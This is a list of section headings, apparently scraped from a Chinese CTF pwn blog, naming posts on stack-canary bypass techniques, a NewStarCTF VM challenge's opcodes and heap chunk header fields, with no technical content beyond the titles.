字段二：size (当前块大小 + 标志位）#

Canary绕过专题(5)——劫持__stack_chk_fail

劫持__stack_chk_fail函数#

原理#

例题分析#

Canary绕过专题(1)——覆盖截断字符

覆盖截断字符获取Canary#

Canary绕过专题(2)——格式化字符串泄露

格式化字符串泄露Canary#

2025 NewStarCTF week1&2 pwn复盘

`0x10`: MOVI#

`0x11`: MOV#

`0x2a`: CMP#

`0x30`: LEA#

`0x31`: LOAD#

`0x32`: STORE#

`0x33` / `0x34`: 1 字节读写#

`0x40`: PRINT#

`0x41`: INPUT#

`0x60`: CALL#

字段一：`prev_size` (前一个块的大小)#

字段二：`size` (当前块大小 + 标志位）#